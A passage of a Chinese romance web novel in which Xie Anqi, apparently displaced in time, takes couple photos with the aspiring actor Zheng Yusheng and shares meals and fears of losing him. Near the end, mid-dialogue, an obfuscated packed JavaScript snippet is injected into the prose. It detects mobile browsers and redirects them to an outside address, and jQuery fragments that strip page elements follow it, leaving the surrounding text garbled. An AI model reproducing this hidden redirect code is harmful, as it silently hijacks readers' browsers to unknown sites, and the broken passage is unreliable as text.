春夏秋冬，是哪一种季节，对于谢安琪而言都不怎么重要，她似乎对此并不在意，风总是吹动屋塔房铁皮屋顶，这天也一样，只是不同的是谢安琪正在翻新买的小说最后几页。


    郑禹胜靠在床沿，看着她一页页翻得缓慢。他没问她在看什么，只是轻轻扬了下下巴，问：“今天要出门吗？”


    她合上本子，笑了一下，“要不我们去拍照？”


    “照什么？”


    “那种……情侣照。”她说这句话的时候，耳根红了一圈，眼睛却闪着光。


    郑禹胜一愣，像是没料到她会主动说这种事。


    “好啊。”他点头，语气淡淡的，眼底却掠过一丝不易察觉的雀跃，“我知道有一家，离这儿不远，店铺很老，但老板人不错。”


    她没说话，只是点了点头。


    那天的风不大，阳光也没有过于耀眼，一切都适合留下影像。照相馆藏在市场后巷里，门口挂着褪色的横幅，翻译一下就是幸福情侣专属纪念照，一张定格一生。


    橱窗里摆着上世纪八十年代的情侣样张，卷发、蓝白制服、笑容都泛着旧。门一推开，一股老式香粉和塑料布混合的味道迎面而来，柜台后的老板娘戴着大红花发卡，正翻旧账本。


    “哎呀，禹胜啊，你几年没来了，带女朋友来啦？”老板娘笑得热情，一眼就认出了他。


    谢安琪微怔，低头轻轻笑了一下。


    “嗯。我们想拍一组。”他把她往前推了推，“看你这儿还有没有当年那种风格背景布。”


    “有的有的！还有那种小西装跟娃娃领小裙子的套装，要不要试试？你们两个穿得一定很好看。”


    她有些犹豫，但在郑禹胜我也穿小西装的注视下，还是点了点头。


    更衣间有点暗，布帘拉得不严，外头能隐约看见他换装的背影。谢安琪穿上白底红边的小裙子，照了照镜子，总觉得自己像是学校文艺节的主持人。拉开布帘走出来，郑禹胜已经换好一身灰格小西装，站在昏黄灯光下，看起来意外地……文质彬彬。


    他看到她时也愣了一下，随后嘴角缓缓扬起：“你这样挺好看的。”


    “你……也行吧。”她小声说。


    他们站在花藤背景布前，老板娘拿着老式相机调整角度，一边喊：“靠近点、再靠近点！小姑娘可以拉着男朋友的袖子！”


    谢安琪犹豫地伸手，轻轻捏住他的西装袖口，动作僵硬。郑禹胜低头看着她，忽然轻轻牵住了她的手，往怀里拉了一步。老板娘咔嚓按下快门的瞬间，谢安琪心跳猛地漏了一拍。


    “你们表情再自然点！再来一张！”


    在老板娘的催促下，他们连拍了三四组，谢安琪最初的拘谨慢慢融化，开始会对着镜头笑出声音，郑禹胜也学着摆了一两个很夸张的偶像站姿。


    两人一起看照片样张时，一张并不完美的合影吸引了她的注意，她刚笑完，肩膀还微抖，他正低头看她，嘴角有一点藏不住的笑意。


    “这个好。”她指着那张。


    “是有点歪。”郑禹胜皱着眉看了下，“但……确实像我们。”


    老板娘也凑过来，“这张是你们之后最会喜欢的。越真实，越留得住。”


    谢安琪轻轻抿唇，点头。


    他们选了这张洗出来。等到照片从冲洗房送出来的时候，她站在阳光下接过那张温热的相纸，看着上面两人几乎贴在一起的影像，忽然有点想哭。


    “我好像，见过这张。”她小声说，像是在自言自语。


    郑禹胜站在她身侧，没有说话，只是伸手替她把被风吹起的头发轻轻拨到耳后。从照相馆出来时，太阳正落在市场的铁皮屋檐上，斜斜的光打在小巷里，把两人的影子拉得细长。


    郑禹胜牵着她的手，一路往市场外走。


    “那张照片，想放哪？”他忽然问。


    “放在屋塔房的相框里吧。”她笑了笑，“我想每天都看到。”


    他没说话，只是点头。


    巷子口，一只橘猫从摊贩脚边钻出来，懒洋洋地走到他们脚边绕了一圈，谢安琪蹲下身，摸了摸它的背，橘猫舒服地眯起眼，尾巴卷成半个圆弧。


    “你看，它好像很熟我们。”她说。


    “也许是上次你偷偷喂它吃我的面包。”他语气轻缓。


    谢安琪笑了，站起来的时候，一脚踩到铺路的水渍边缘，险些滑了一下，郑禹胜眼疾手快地扶住她，低头，额头抵了下她的额头。


    “你走路还是这么不看地面。”他说。


    “我是在看你。”她小声反驳。


    “你别一直看。”他低声说，“我怕你一眨眼就不见了。”


    这会阳光已经倾斜，河水边的人影稀疏，偶尔有骑单车的孩子从身边呼啸而过，带起一阵风，擦过他们衣角。谢安琪拉着郑禹胜的手，低头看两人的影子在水泥地上重叠，像一对几乎贴在一起的剪纸人。


    “我们影子这么近了。”她忽然说。


    郑禹胜低头看了看，没有回答，只是轻轻收了收手，指节与她的掌心紧紧贴住。


    “那你以后……要是变红了，有很多人喜欢你了，还会记得这种时候吗？”


    她问得像玩笑，却又像认真地想知道答案。


    郑禹胜没有立刻回应。他停下脚步，站在河边那座低矮的栏杆前，望着远处暮色中晃动的河面，像在认真思考。


    “会。”他说，语气温和却笃定。


    “记得什么？”


    “记得你带我去拍的那张照片。记得我们两个人，在这条没有人注意的河边走过。记得你一边走路一边看我，不看脚下。”


    谢安琪没说话，只是轻轻地笑了一下，她伸手从口袋里摸出那张小小的合照，拿在手里，对着落日的光看了好一会儿。


    “这张啊，我想藏好它。”她说。


    “藏哪？”


    “藏在那个木箱底下，等我们以后吵架的时候，我就拿出来看看你现在多傻。”


    “谁傻啊？”他笑了，“明明是你说要靠我靠这么近。”


    “你明明就喜欢。”


    “是啊。”他点头，“我喜欢。”


    那句我喜欢说得很轻，但谢安琪还是听得心跳慢了一拍，他们走进巷口那家熟悉的小便当铺时，天色已经开始泛蓝，街灯一个个点亮。


    老店老板娘认得他们，笑着喊：“情侣照拍完啦？”


    谢安琪轻轻点头，脸红红的，接过热便当时小声说了句“谢谢”。


    两人端着饭盒坐在门口的矮桌旁吃，桌面已经有些斑驳，但被老板娘擦得干干净净，她吃得慢，几次偷偷看他。


    “你干嘛老盯着我吃饭？”


    “因为你吃饭很认真。”


    “我吃饭一直很认真。”


    “对，所以很好看。”


    她咬住筷子的动作顿了顿，低头笑得肩膀轻轻发颤，那顿便当吃得很慢，也很静。两人没有再说别的，但整条街的晚风仿佛都默默流动在他们之间，不紧不慢地缠绕。


    晚上回到屋塔房后，两人把那张照片摆在窗边的架子上，屋外风吹着洗得发白的床单，夕阳最后一线从窗口斜照进来，打在那张照片上，泛起一点金光。


    谢安琪坐在床边，拿出一个愿望本，在新一页写上：“和他拍了第一张合照，背景有点俗，笑得不完美。但我觉得，我们很像一对正在认真生活的普通情侣。”


    郑禹胜从她背后看见这行字，没出声，只是走过去，从她手中抽出那支笔，在下方写了四个字：“我们就是。”


    她看着那四个字，一动不动，眼神一点点被水光填满，这个本子是她买的，她想要在这里写下每一次遇见的故事，或许未来的时候，自己再看见这个就不会在患得患失。


    这一天，他们拍了一张看起来不够完美的照片，却在阳光落下时，留住了最完整的影子，回家的路上，两人没有选择捷径，而是顺着河岸慢慢走了一大段。直到到了家里，他们没有开灯，只是坐在屋塔房的小床上，靠在一起，让那张照片在昏黄灯光下慢慢显色，谢安琪睡前又把那张照片看了一遍。


    她把它夹进本子里，放在枕边。


    “万一哪天醒来你不在了，我还可以看见你在照片里。”她说。


    郑禹胜已经躺下，闭着眼，但听到她这句话时睫毛微动。


    “你别总说这种话。”他声音哑哑的，“好像你总是要走。”


    她没有反驳，只是轻轻把本子收好。


    “你也说了，你记得我就好。”


    他没有再说话，只是翻了个身，从背后把她整个人圈进怀里。


    “那你也得答应我，如果以后我们走散了，再见面的时候你要先叫我。”


    “嗯。”她在被窝里点头，声音小得像从被子缝隙里飘出来的梦。


    照片静静躺在本子里，月光落在它的角边，像一层薄薄的光膜，悄悄在纸面上沉淀成一种记忆的质感。


    ……


    最近，谢安琪能感受到时间在她身上的某种松动，仿佛每一晚入睡、每一次晨醒，脚下的地面都在轻轻移动。她得找点什么稳定住自己。比如规律的校园生活，比如重新听一遍熟悉的课程。


    因此她没有告诉郑禹胜，临时决定去学校旁听的决定。


    那天早晨，她起得比郑禹胜早。


    他睡得很熟，眉头却依旧皱着，嘴角抿成一条温和却固执的线。谢安琪俯身看了他好一会儿，最终只是在他额头落下一个很轻的吻，没有吵醒他。


    她带着本子和饭团走出屋塔房时，天边刚刚泛白。公交车里有很多学生，都是她这个年纪的人，穿着清爽的春季校服或者宽大的卫衣，说话声音又轻又快。


    谢安琪坐在最后一排，没有戴耳机，窗外的街景不断倒退，像一部无声的旧片段。


    她在车窗玻璃上轻轻写下自己的名字，谢安琪，几个字立刻就被雾气模糊，变得虚虚的，像是一个记不太清的梦里人名。


    教室很安静，她选的是一门文化理论的选修课，老师看起来年纪不大，眼镜后面是锐利的目光和慢条斯理的口音。


    谢安琪坐在靠窗的第二排，阳光照得她有点发困，她随手拿笔，在本子上写下课程标题，然后开始在边缘画了一棵树，枝干不多，像是还没长全的春树。旁边的女学生似乎注意到她，悄悄把笔借了过去，两人交换了一个微笑。


    那女孩在课间凑过来说：“你不是这里的学生吧？我以前没见过你。”


    “嗯，我是临时过来旁听的。”谢安琪说。


    女孩自我介绍说叫裴真善，是校广播社的，说到一半才忽然想起：“啊，我记得你……你是不是和那个最近在拍戏的郑禹胜认识？”


    谢安琪一愣，片刻才反应过来这句话里有几分八卦的味道。


    “他怎么了？”


    “最近广播社有个学姐说在片场采访过他，说他人很冷，但下戏以后突然笑起来很好看，还主动给工作人员倒水什么的，然后她拍了照片，我看到了，跟你很像，主要是你穿的衣服也跟她一样。”


    谢安琪没说话，只是把笔帽扣好，微笑着摇摇头。


    她知道郑禹胜是什么样的人，但听别人提起时，她还是忍不住悄悄高兴。仿佛他不是被世界关注，而是被她以外的另一群人看见。


    午休时，她坐在图书馆外的台阶上吃便当。


    那便当是随便买的，米饭团外皮有点焦，配的鸡蛋太咸，但她吃得很慢，一口一口像在品味记忆。阳光打在她膝盖上，她眯着眼，轻轻摇头，把脑袋靠到身后石柱上。耳边是风声，是路人谈话的碎片，是广播室在试播的录音：“本周校园电影节将在大学路某剧场举办……”


    她忽然睁眼，转头看向播音室楼顶飘扬的旗帜。


    “大学路……”她低声重复。


    如果她没记错，那是后来，她在未来某一天偶然点开一部老电影资料时看到的文字注脚：“1994年，郑禹胜首次参与独立短片拍摄，拍摄地点位于大学路某小剧场。”


    她从未确认那一部短片里是否真有他的身影，只记得那一秒有种奇异的晃动感，仿佛她曾亲手递给过他一瓶水，或按下过摄影机的快门。现在时间尚未到达那里，郑禹胜还只是那个每天下戏后回屋塔房陪她吃晚饭的男孩。


    但她已经开始害怕。她开始害怕，这一切是不是注定将向某一个时间节点崩塌。


    下课后，她刚走出教学楼，就看到校门外靠着围栏站着的人影。郑禹胜穿着深灰衬衫，袖口卷起，脖子上挂着一副墨镜。他像刚拍完一场定装照，还没完全退出角色。谢安琪有点不敢走近，怕自己的存在破坏了什么。


    可他先看见她，眯了下眼，抬手朝她招招手。


    谢安琪走近，忍不住问：“你怎么来了？”


    “来接你。”他说得自然，“顺便看看你穿校服是什么样子。”


    “我没穿校服。”


    “是吗？但你看起来很像我上学时最喜欢的那种女生。”


    她笑了，轻轻推了他一下：“你太会说话了。”


    “是真的。”他说，“我上学时最喜欢那种坐窗边、爱画画、不太说话、吃饭慢的人。”


    “你记得真细。”


    “你本来就一直在我记忆里。”他说这句话的时候，没有避开她的眼神。


    她没说话，只是站在阳光下盯着他看，仿佛想把他这一刻的模样记得再牢一些。他讲今天片场有人抢盒饭，还讲他看到一个小男孩跟着剧组跑了半天，就是为了等他签个名。


    “签了吗？”


    “签了，在他的小手心上。他笑了一整天。”


    “你越来越像明星了。”


    “你不喜欢？”


    “不是不喜欢……”她顿了顿，“只是感觉你会越来越远。”


    他停住脚步，回头看她，眼神认真的不像在说笑：“我不可能离你太远。”


    “为什么？”


    “因为我怕你又不见了。”


    她低下头，脚趾在地砖上画圈。


    “你要是再不见，我就去找。”他说，“不管你在哪一条线。”


    谢安琪忽然就没忍住，抬头抱住了他，他也没有再说话，只是低头靠着她的额头，轻轻地、很久都没动，那一刻，她觉得脚下的世界终于暂时安定下来了一点。


    ……


    后面几天，郑禹胜的拍摄进度紧张，谢安琪就都去图书馆打发时间，她逐渐发现图书馆外的天光越来越暖了。谢安琪从笔记本上抬起头，望向窗外，阳光从玻璃斜斜照进来，把地板照出一条长长的光带。


    她靠在椅背上，突然有点疲惫，却又不想离开。


    书桌对面坐着一个看起来比她年长几岁的男生，正在低头写论文。他偶尔抬头看她，似乎有点困惑她一直坐在那儿却没翻页。她察觉到了，但没有避让，只是笑了一下，然后继续发呆。


    图书馆的广播响起，提醒即将闭馆。


    谢安琪合上笔记本，准备离开时，那男生忽然轻声问：“你是艺术系的学生吗？”


    “不是。”她摇头。


    “你气质很像。”他说。


    她没再接话，只是背起包走出图书馆大门，步伐轻快了些。


    夜风迎面吹来，她站在教学楼外的树荫下发了会儿呆。许多学生从她身边经过，有人骑车、有人拉着朋友、有人在讨论社团排练的时间。这是她离开过、也将再次离开的时间。她像个中途返回的旅客，坐在了旧车站的长椅上，却无法决定下一班车该开往哪里。


    日子就这样一天天过去，这周星期四的课结束得比平时早。


    她没回屋塔房，而是一个人去了附近的百货商场。那里新开了一家文具铺，她在窗边站了好一会儿，才推门进去。


    挑了一本硬皮记事本，还有一盒带着花香味的信纸。她想着以后说不定可以写点什么，给未来的郑禹胜，或者更遥远的、另一个时间里的自己。


    结账时，她被收银员叫住：“小姐，你掉了这个。”


    她低头一看，是那张他们在照相馆拍的情侣照，她前两天剪成卡片装在包里。那张照片边角已经有点磨毛，但画面上的两人靠得很近，笑得有点傻，却也温柔。


    她收好照片，走出百货商场时接到一条短信。


    【你今晚回来吃饭吗？】


    是郑禹胜。


    她回了一句：【你做什么？】


    几秒后对方回：【鸡蛋卷和紫菜汤，不复杂，但你得回来试毒。】


    她笑了一下，回：【你等我。】


    回屋塔房的公交车上，她坐在靠窗的位置，车厢里人不多，她看到窗外路过的那些人群，有人在跑步，有人在追公交，有人靠着栏杆听随身听。


    谢安琪突然想起自己十几岁那年，也曾幻想过一次穿越。


    那时候她看一部电视剧，男主是时空旅人，每次都在人群中寻找那一个“总是比他先走一步的女生”。


    她那时候对穿越的理解不过是回到过去阻止遗憾。


    可现在她站在回到过去的时间线里，却发现更多的，是想将一切慢下来，而不是改写。她走进屋塔房时，郑禹胜正穿着围裙蹲在厨房地垫上，专心地煎最后一卷鸡蛋。他听见门响，头也不回：“再等两分钟，我想把这个卷得漂亮点。”


    “你卷什么都好看。”谢安琪走进来，放下书包，走到他身边蹲下。


    “嘴真甜。”他说着，却还是笑了一下，专注地翻过那块黄澄澄的蛋皮。


    桌上已经摆好一人一碗紫菜汤，还有一碟切好的苹果。两人坐下吃饭的时候，窗外天色刚刚暗下，城市的灯光一点点亮起来。谢安琪低头喝汤，突然问：“你以前想象的生活，是这样的吗？”


    他夹了一块蛋卷，思考了一下：“以前我想得很远，电影奖、红毯、镜头。”


    “现在呢？”


    他看着她，认真地说：“现在我每天都在想，晚上做什么饭你会喜欢。”


    她低下头，笑了，眼角有点发红。夜里他们一起坐在床边看旧电影。电视屏幕上闪着光影，片中的主角在下雨的街头奔跑，背景音乐是某首她听过无数次的老歌。


    谢安琪靠着郑禹胜，脑袋贴在他肩膀上。


    “如果有一天你真的成了真正的演员，你还会记得现在吗？”


    “我每天都在记。”他说，“但我怕未来的我不敢提。”


    “为什么？”


    “因为我怕你早就走了。”


    “你怕我不记得你？”


    “我怕……你记得的不是我现在的样子。”


    她轻轻握住他的手，说：“我只会记得你为我煎蛋卷的样子。”


    他转头看她，两人视线交错的那一秒，没有人说话。谢安琪慢慢闭上眼，把脸贴近他肩窝。


    世界忽然很安静，连窗外的风都像屏住了呼吸。那天晚上，天还没黑，雨就下了起来。开始只是毛毛雨，谢安琪在厨房洗碗，听见外面有稀疏水声拍打铁皮屋顶，以为只是风大。但没过五分钟，雨就密密落下，打得窗户啪啪响。


    郑禹胜站在阳台，把晾着的衣服一件件往屋里收。白色T恤还没干透，手指一碰，冷冷湿湿的。他一边叠衣服，一边回头看谢安琪。


    她正蹲在柜子前翻东西，肩膀上搭着擦手巾，头发还沾着洗洁精的泡沫气味。


    “下雨了。”他提醒。


    “嗯，听到了。”


    “今天不是说你想写信吗？”


    她站起来，拎着刚找出来的一叠旧信纸，走到窗边，看着窗外一片灰白雨雾。


    “写什么？我们已经一起做了很多事了。”


    “就写现在的感觉。”


    “哪种感觉？想留下来，但又知道不能久留的感觉吗？”


    她语气没有起伏，却听得郑禹胜皱起了眉。


    他把衣服放在桌上，走过去：“你又在想这些了。”


    “我没有。”她摇头，“我只是……今天在图书馆看到一封老师写给未来的信，忽然就想，大家都能自然地谈未来，为什么我不行？”


    “你当然可以。”他盯着她的侧脸说，“你只是，”


    “我什么？”


    “你只是……总是准备离开。”


    谢安琪看向他，眼神像一片刚淋湿的玻璃，清晰又模糊。


    “我不是在准备离开，”她低声说，“我是随时都可能被迫离开。”


    话说出口后，两人沉默了将近一分钟。屋里只有风扇的转动声，和窗外密密麻麻砸落的雨点。郑禹胜坐到床边，低头看着地板。


    “你知不知道，我前两天被剧组副导演约谈？”


    谢安琪没有应声。


    “他说看了我在测试拍摄里的那几场戏，说可能有更大的片子想让我去试镜。”


    她转头看他：“是吗？你答应了吗？”


    “我还没来得及答应。”他顿了顿，“因为我在等你回应。”


    “回应什么？”


    “回应我们之间到底算什么。”


    谢安琪眼神闪了一下，“你不是一直都说我们已经……已经是在一起了？”


    “你也知道，那不是我要的在一起。”他说，声音低了下来，“你什么都不说，我连你会来几次都不知道，我也不知道是不是应该记得更多……”


    “因为我不知道你记得的是哪一个我。”


    这句话让他安静了几秒。


    “你怕我不是真的记得你，是吗？”


    “我怕……你只记得另一个时间线的我。”她轻声说。


    雨下得更大了，窗沿渗进来一缕水气。她拉了拉窗帘，回到桌边坐下，把那张空白信纸展开，又立刻揉成一团。


    “写不了。”她说。


    郑禹胜走过来，站在她身后，看着她抓着那团纸的指节泛白。


    “你可以不写给未来。”他说，“你可以写给现在。”


    谢安琪闭了闭眼，没有说话。


    “你不是说最怕未来的我不记得你吗？”


    “我没有。”


    “有。”他很轻，但笃定地说，“你只是一直不敢承认。”


    她终于转过头，看着他，郑禹胜的眼睛黑得很深，像盛着暴风雨前的水池。


    “我怕的是……哪一天你不再像现在这么温柔了。”


    郑禹胜笑了一下，很浅的那种。


    “那你呢？”


    “我什么？”


    “你怕我变了，那我可不可以怕，你根本就没把我当作真正的现在？”


    “什么意思？”


    “谢安琪，你在我身边，却永远像是站在时间之外看我。”


    这句像是一把钝刀，慢慢割破她的回避，她起身去厨房倒水，借着低头的动作，避开他的目光。


    “我不是不珍惜。”她轻声说，“我只是……不知道我能留多久。”


    “你永远都不知道。”他说，“但你至少要试着留下来。”


    “我不敢。”


    “你怕我会忘记你？还是怕自己根本没留在我的人生里？”


    水杯被她攥得很紧，手指微微发颤，郑禹胜没有回头，只是靠着流理台，望着那只瓷杯沿着缝隙滴下的一滴水。


    “如果你以后还记得我，”


    “我会记得。”


    “如果你真的记得，”她终于说出口，“你要想办法告诉我。”


    “我会。”他说，“从今天起，我每天都写一句给未来的你。”


    “写在哪里？”


    “写在那本我不会给别人看的剧本封面里。”


    她咬了咬唇，鼻子酸得厉害。


    “那我也写。”她说，“写在愿望本的最后一页上。”


    屋塔房的灯光在风中微微摇晃，他们没有再说什么，只是慢慢走到床边，坐下。风透过缝隙吹进来，带着泥土气味的雨味和一点不易察觉的青草香，他伸手，轻轻扣住她的手指。


    “谢安琪。”


    “嗯。”


    “我不是不害怕。”他轻声说，“但我宁愿现在就相信你是我的。”


    她没有回答，只是靠在他肩膀上。


    那晚，他们没有再争执，也没有任何进一步的动作。只是坐着，等雨一点点停下，听着城市的呼吸，在黑夜的缝隙中慢慢彼此靠近。仿佛一切都还没有来得及说清，却已经在沉默中找到答案，屋塔房的小屋里陷入一种几乎不动的沉默。


    郑禹胜脱了外衣，坐在书桌前，翻着那本从剧组带回的剧本。他没真的在看，只是手指不停地翻页，像在掩饰心里那点不肯落地的焦躁。


    谢安琪坐在窗边，抱着膝盖，背影靠着窗框，脸埋在臂弯里。她没哭，也没再说什么，只是静静地看着远处街道灯光下晃动的雨珠。


    窗台上那盆薄荷长出了新芽，叶片轻轻贴着玻璃，被雨雾模糊了一片。


    她忽然轻声开口：“我没有真的想逃避你。”谢安琪似乎感受到了郑禹胜心里的恐惧一般，很认真的，回答着他的好奇。


    郑禹胜抬头，眼神慢慢柔和下来。


    “那你想逃避什么？”


    “时间。”她顿了顿，“有时候我不确定我们是不是活在同一条线上，或者……我们能不能在某一条线里重合到最后。”


    “你还在怀疑？”他站起身，走到她身边，“就算我们不是完全同步的，我们不是也已经一起过了很多事？”


    “我知道。”她点头，“但我有时候会怕。怕你越走越远，我却还停在原地。”


    他没说话，只是轻轻蹲下来，头靠在她膝上。


    “我也是。”他说，“我也怕你走在前面，走到我再也追不上你。”


    谢安琪从窗边起身，走向厨房，为自己倒了一杯温水，郑禹胜在后头跟着，靠着门框看她喝水。


    “你明天还回学校吗？”


    她点头。


    “想我接你吗？”


    “你不用拍戏？”


    “拍，但可以提前安排好时间。”


    她看了他一眼，眼神带着一点迟疑，又像是在做一个轻得不能再轻的试探：“你不用那么……迁就我。”


    “我不是迁就。”他说，“我是在调整生活，把你放进我的时间里。”


    谢安琪心头一颤，忽然觉得喉咙发紧。


    “你别这样对我这么好。”


    “为什么？”


    “因为我怕我还不起。”


    “我又不是在借给你什么。”他笑，“我是在和你一起生活啊。”


    她低下头，杯子里漂着几颗未完全融化的糖渣。


    “我们……是不是太像老夫老妻了？”


    “这不是你想要的吗？”


    她嘴角动了动，像要笑，又像想哭。


    雨停了。郑禹胜看了看时间，说：“还早，要不要出去走走？”


    谢安琪想了想，点点头：“好。”


    他们穿上外套，撑着伞下楼，路上潮湿，雨水积在水泥地的缝隙里，踩上去会发出咯吱的声音。


    “你知道吗，”她说，“以前我在未来某个城市，也这么和一个人下雨天走过街角。”


    “谁？”


    “你。”


    郑禹胜侧过头，看着她。


    “那你记得，那时候我说了什么吗？”


    “你说，不管你变成什么样，我都要记得那个总是把伞往我这边倾的人。”


    “现在也是我。”


    “对啊。”她轻声说，“这才是我最害怕的地方。”


    他皱眉：“什么意思？”


    “我怕太像了，像到分不清那是过去的你，还是现在的你，还是未来你在模仿那个你。”


    “那我该怎么做？我该变得不像你记得的我？”


    她摇头，“我只是想知道，今天的你，是不是会选择我，即使我不记得你了。”


    “会。”他回答得很快，没有一秒犹豫。


    “谢谢你。”她看他，“就算我有一天忘了，我希望你还是像现在这样回答。”


    其实什么样的回答都不重要，重要的是，两个人会不会一直一直记着对方，谢安琪非常明白这个道理，因此她在这个时候，更多的还是抓住当下的生活，应该是需要这样度过这样奇妙的时光吧，谢安琪心里这样想着，人走到便利店前，根本没注意街道两旁已经开始有零星的行人出现。


    便利店的灯光暖黄色，透过玻璃门照在湿润的人行道上。谢安琪看见熟悉的猫蜷在墙角，不远处的夜宵摊也已经开始支起塑料棚。


    她回头看郑禹胜：“你饿吗？”


    “你想吃点什么？”


    “鱼糕汤和炸紫菜卷。”她笑了，“我每次心烦的时候就想吃。”


    “你烦我？”


    “也不是烦你……只是太在乎了，就有点……负担。”


    “那以后别烦。”他说，“我帮你吃掉一半。”


    她点点头，眼睛里亮起一点浅浅的笑光。


    “你以前在屋塔房刚搬来的时候，”他说，“我也偷偷烦过你。”


    “哦？说来听听。”


    “你早上洗脸太慢，晚上写字声音太小，吃饭像小猫一样安静……”


    “那你还喜欢我？”


    “就是因为你像我以前梦到的那个人。”


    谢安琪靠在桌边，看着他点餐的背影，心里忽然安静下来。她不是不知道他认真起来的样子，只是……她有时候太怕这份认真只是幻觉。夜里回到屋塔房，两人洗漱完后，一起坐在床边听雨后的风。想到什么，谢安琪忍不住问：“你还会写那本剧本封面上的小句子吗？”


    “从今晚开始。”他说，“你呢？”


    “我会写在本子最后一页。”


    “那我们可以写到最后，再一起读。”


    谢安琪靠过去，小声说：“也许到那天，我就可以留在这一条线了。”


    郑禹胜没有说话，只是伸手抱住她的肩膀，屋外的雨停了，屋内的心也慢慢沉静下来。


    至于未来要怎么样，他们谁也没有问出口，甚至如果这一夜之后，她又不见了，该怎么办这样的问题也安静的藏在自己的心里。也许，他们只是都愿意相信，下一次醒来，眼前的人还会在那里。


    ……


    鱼饼摊搭在广藏市场尽头的巷子里，心心念念想要吃鱼饼的谢安琪拉着郑禹胜就去了，这天下雨，塑料棚被雨水洗得透亮，橘黄色的灯泡晃晃悠悠地垂在两人头顶。摊主是位戴毛线帽的老奶奶，手速极快，把一串串鱼糕放进锅里，一边搅拌锅边的萝卜汤，一边说着不知是对谁的感慨。


    “今晚的风不像雨刚停。”谢安琪坐在塑料椅上，双手捧着纸杯，杯壁还在冒白气。“你小时候也来过这儿吗？”她问


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967276|169893||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    郑禹胜。


    “嗯。”他夹起一块鱼糕，“那时候我妈偶尔夜班结束会带我来，喝一小杯烧酒。她总说，一口热汤能赶走整天的冷气。”


    “现在还赶得走吗？”


    “赶得走你心里的不安吗？”


    她抿了口汤，轻轻叹了口气：“至少今天，不太能。”


    郑禹胜没有继续逼问。他知道她需要一些空间，就像这摊位间流转的蒸汽，不该被任何情绪压垮。两人吃完鱼饼后，又点了一份炸紫菜卷。


    摊主换了锅油，火升起来的时候，灯泡晃了一晃，投下长长的影子，把两人的身影拉得极远。


    谢安琪低头看着桌上几张被风吹动的纸巾，忽然想起小时候看电视剧里，男女主在摊位上写下愿望纸，贴在摊位柱子上，说要未来实现。


    她指了指柱子一角，说：“你看，以前的人写很多纸条贴上去呢。”


    郑禹胜顺着看了一眼，那些旧纸片已经泛黄，字迹模糊，但还能看出考上大学、身体健康、和某某永远在一起这样的愿望。


    他问：“你要不要写一个？”


    “你陪我写。”她从口袋掏出一张小便签。


    两人弯着腰，头靠得很近，挤在一个小纸片前，她写了第一句：“如果未来还能再见，”


    他接着写：“我希望你能认出我。”


    她看着他写下的字，怔了一下，然后低头写下一句：“我一定记得你笑起来眼角的纹路。”


    写完，她轻轻吹了口气，把便签贴在最上方的横梁下方。风吹过，纸条轻轻晃动。月光穿透灯罩边缘的一丝缝隙，斜斜打在他们靠近的手指上。吃完夜宵，两人没有立刻回屋塔房，而是绕了一段路，途中经过一个老天桥。


    夜里没什么人，天桥上只有几只走累了的野猫，趴在桥柱旁晒灯光。


    “你第一次来这桥的时候，还记得是为什么吗？”她问。


    “陪我一个朋友来参加补习班。”他说，“那天我不想回家，在桥上坐了一夜。”


    “是你妈夜班那段时间吗？”


    “嗯。”他点点头，“那个时候我总觉得，世界不是为我准备的。”


    “现在呢？”


    他看了她一眼：“现在世界还是不确定，但你在。”


    谢安琪没说话，只是站在桥上，看着地面上被霓虹灯切碎的影子。她忽然觉得有些脚软，靠到他肩上。


    “你知道吗？”她说，“我其实怕你记得太多。”


    “为什么？”


    “因为如果你记得太多，你就会更容易发现我什么时候要离开。”


    他没有立刻回答，只是侧过头，轻轻在她额角落下一吻。


    “如果你要走，我会跟着你。”


    “可是我走的地方，你不能到。”


    “你可以不走。”


    她苦笑：“哪有这么容易。”


    他拉过她的手，十指相扣，“至少今天，我们还在同一个时间点。”


    她轻轻嗯了一声，眼角湿湿的，风一吹，就像有什么晃动着要脱落，或许是一种说不出来的情绪，又或者是一种完全把握不住的生活，总之，他们在桥上坐了很久，一直坐到路灯闪了一下。


    郑禹胜起身，说：“我们回去吧。”


    她点头，却没有立刻走。


    “等一下。”


    他看她。


    “你先走。”她说，“我再看一眼。”


    “你不怕我回头就不见你了？”


    “我怕。”她说，“但我也想知道你会不会真的回头。”


    他站在原地没动。


    “那你现在是在试我？”


    她轻轻一笑，“不，是在想象以后。”


    “以后我不会让你试，我会牵着你走。”


    她朝他挥挥手，郑禹胜转身，走下天桥的楼梯。脚步没走几步，他就停住，回头看她。谢安琪果然还站在那里，风吹起她的发，像某种不确定的光。


    “谢安琪。”


    “嗯？”


    “你不能只记得我笑的时候，也得记得我现在转身时的样子。”


    她点头，喃喃地说：“我会记得你这一秒，看我的样子。”


    他站在那儿，看她良久然后转身，真的走下楼梯，他们回屋塔房的路上没再多说什么。公交车上，谢安琪靠着他的肩，半路上闭了一会儿眼，直到回到房间时，她拉开那本本子，在最后一页写下一句：“我们在天桥上站了一会儿，他说如果我走，他会跟着我。”


    郑禹胜洗完澡出来，见她还在写字，走过去问：“写什么呢？”


    “写我们今天晚上吃了几根鱼糕。”


    “那是秘密日记吗？”


    “是啊。”


    “可以让我看看吗？”


    “还不行。”她抬头笑着说，“等我们一起写满这一页。”


    他轻轻点头，拉了拉她的手指，说：“好。”


    窗外风停了，夜色慢慢收拢。他们各自躺回床上，没有说话，却都很久没有睡着。谢安琪听着他轻微的呼吸声，忽然低声说：“如果我真的还要走一次，你要不要先提前告诉我，你会记得我？”


    他没有马上回答，但她听见他在黑暗中翻身，靠近她耳边，说了句：


    “你不用问，因为我早就一直在记了。”


    ……


    谢安琪梦见了一个展览。


    展厅是全白的，天花板很高，墙面像某种电影银幕一样泛着光。她一个人站在偌大的空间里，四周全是光滑无声的屏幕，在慢慢播放一些片段。


    她走近，看到第一面屏幕上，是一部旧电影的片段。画质泛黄，镜头里一个年轻的男孩坐在天台上，望着远方烟雾腾起的城市，眼神有点倦，也有点温柔。


